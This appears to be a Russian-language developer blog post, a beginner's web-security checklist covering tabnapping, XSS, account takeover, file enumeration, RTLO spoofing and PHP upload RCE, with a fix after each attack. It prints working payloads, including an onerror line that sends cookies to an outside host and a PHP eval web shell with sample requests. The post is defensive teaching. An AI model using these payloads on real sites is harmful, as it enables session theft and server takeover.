hwdtech blog
Чеклист по кибер-безопасности сайтов для начинающих разработчиков
Частые и опасные уязвимости. Данная статья написана в ознакомительных целях, чтобы каждый мог реализовать защиту от простых, но опасных атак на сайты и приложения.
15-04-2021
кибербезопасность, атаки
Время чтения: 7 минут
Целью данной статьи является практически реальные примеры векторов атак и их решения. Не используйте данные атаки и любые другие без согласия сайта, это наказуемо законом.
Tabnapping
  1. В ссылке

Злоумышленник размещает ссылку на свой сайт, где на странице злоумышленника будет код:
<script>
window.opener.location.replace('http://example.com'); // фишинговый сайт очень похожий на оригинальный
</script>
Жертва переходит по этой ссылке, в результате старая вкладка меняется на фишинговую страницу, например с логином. Жертва логинится и отдает свои данные для входа злоумышленнику.
Решением данной проблемы может являться:

Добавление всем ссылкам, которые может написать на сайте пользователь атрибута rel = "nofollow noopener".

Теперь у сайта злоумышленника не будет доступа к сайту, с которого на него перешли.
2. В файле

Злоумышленник может указать ссылку на сайт с вредоносным кодом в файле PDF. Код вставляемый в PDF:
411 0 obj
<<
/Type /Action
/S/URI/URI(http://example.com)
>>
endobj
Жертва кликает на ссылку в файле и повторяет действия, описанные выше.

Решением данной проблемы может являться:
Открывать файл в новой вкладке, без доступа к родительской.
Хранить файлы на другом домене.
XSS
1. XSS в SVG

Если на сайте разрешено загружать файлы изображений типа SVG, и сайт размещает их не в теге img. То он с очень большой вероятностью подвергается атаке XSS. А если в теге img, то XSS сработает, когда изображение откроют в новой вкладке.

Пример изображения SVG с кодом JS:
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
    alert(1);
</script>
</svg>
Решением данной проблемы может являться:

Удаление всего из SVG, что не является изображением.
В идеале запретить загружать файлы SVG.
Проверять файл не по расширению, а по содержимому является ли он файлом изображения.
2. XSS в ссылке


Принято считать, что <a href="javascript:alert(1)" target="_blank">CLICK ME</a> наличие атрибута target="_blank защитит от XSS в ссылке, из-за защиты браузера и мы получи about:blank#blocked.

Но существуют браузеры которые <a href="javascript:alert(1)" target="_blank">CLICK ME</a> откроют так же как и <a href="javascript:alert(1)">CLICK ME</a> в результате сработает XSS.

Решением данной проблемы может являться:

Проверка ссылок на этапе ввода / отображения на валидность и отсутствие JS кода. В случае наличия JS кода или не валидности ссылки, необходимо запрещать ссылки.
3. XSS в чате/ поле ввода

Злоумышленник пишет в чат пользователю / поддержке код вида:

<img src=x onerror="javascript:document.location='https://site.com/d.php?cookie=' + escape(document.cookie)">

Так как изображения нет выполняется onerror и отправляются куки пользователя на сайт злоумышленника.

Решением данной проблемы может являться:

Не допускать выполнения текста как кода.
Никогда не использовать eval('код').
Настроить CSP со списком сайтов на которые можно отправляться запросы и другие ресурсы.
Account takeover
1. Ранее созданный аккаунт злоумышленником

Злоумышленник создает аккаунт на сайте по почте и паролю.
Сайт не требует подтвердить почты пользователя.
Теперь жертва входит на этот же сайт через любую соц сеть с той же почтой.
Делает какие-либо операции на сайте, пишет сообщения и т.д.
Злоумышленник входит по паролю и почте и видит все данные пользователя.
Если на сайте есть транзакции / сообщения и другие личные данные, то они все попадают в руки злоумышленнику.

Решением данной проблемы может являться:
Сообщение на почту с просьбой подтвердить аккаунт.
Запретить входить через соц сеть, если был вход по паролю. А только дополнительно добавить вход через соц сеть в настройках аккаунта.
2. Сессия

Если на сайте сессия пользователя имеет бесконечный срок жизни, или не обнуляется после логаута. Это является большой проблемой. Злоумышленник может украсть сессию (например, через XSS) и пользоваться ей сколько угодно времени.

Решением данной проблемы может являться:
Давать жизнь сессии на не длительный период.
Обнулять сессию после выхода из аккаунта.
Иметь возможность в админке обнулять сессии.
Information Disclosure
Кража личных файлов

Файлы из личных сообщений пользователя строятся по URL
/files/user-id/file-id
Где user-id юзер открытая информация, а file-id не уникальные UUID, а просто число 1000, 1001 и т.д.


В результате злоумышленник может получить все приватные файлы пользователя, сбрутив за некоторое время все варианты URL.

Решением данной проблемы может являться:

Генерировать UUID место обычного числа.
Генерировать дополнительный под путь на файлы по N штук.
Давать доступ к файлам только авторизованным пользователям, отправителю и получателю.
RTLO
Злоумышленник создает файл с исполняемым кодом exe например.

Называет его с использованием символа RTLO RTLOgpj.exe и отправляет его как файл в чате с пользователем.

Если чат не умеет обрабатывать RTLO символ, то жертва получит файл RTLOexe.jpg и откроет его, думая, что это файл изображения.
Так же что бы жертва не поняла, многие злоумышленники называют файл длинным именем, чтобы последние символы расширения "exe" не были видны RTLOabcde....jpg.

В результате злоумышленник получает полноценный доступ к компьютеру пользователя.


Решением данной проблемы может являться:

Удалять RTLO символ на этапе загрузки файла.
RCE
Если сайт поддерживает PHP - это очень благоприятная обстановка для реализации RCE. Когда на сайте отсутствует проверка файлов по типу, или их сжатие, то можно загрузить вредоносный файл GIF с кодом PHP или сразу php файл.

В файле GIF есть специальный байт, после которого можно добавить код PHP.


Код PHP будет выглядеть так, чтобы мы могли сделать, что угодно:
<?php eval($_GET["cmd"]);?>


А запросы будут выглядеть так:
/file.php?cmd=phpinfo();
/file.gif?cmd=phpinfo();

В результате выполниться код и мы получим:
/file.php?cmd=echo%20readfile("filename.txt","r");
/file.gif?cmd=echo%20readfile("filename.txt","r");

В результате выполниться код и мы получим:
Решением данной проблемы может являться:

Сжатие файлов, удаление exif информации.
Все описанные выше проблемы были найденные в актуальных версиях сайтов, которые мы все знаем.
Спасибо за внимание!
Раз в месяц мы делаем рассылку с анонсом новых кейсов и статей, опубликованных на сайте.
Подпишитесь на обновления.
Гарантируем - никакого спама. Нажимая на кнопку, вы даете согласие на обработку персональных данных и соглашаетесь c политикой в отношении обработки персональных данных.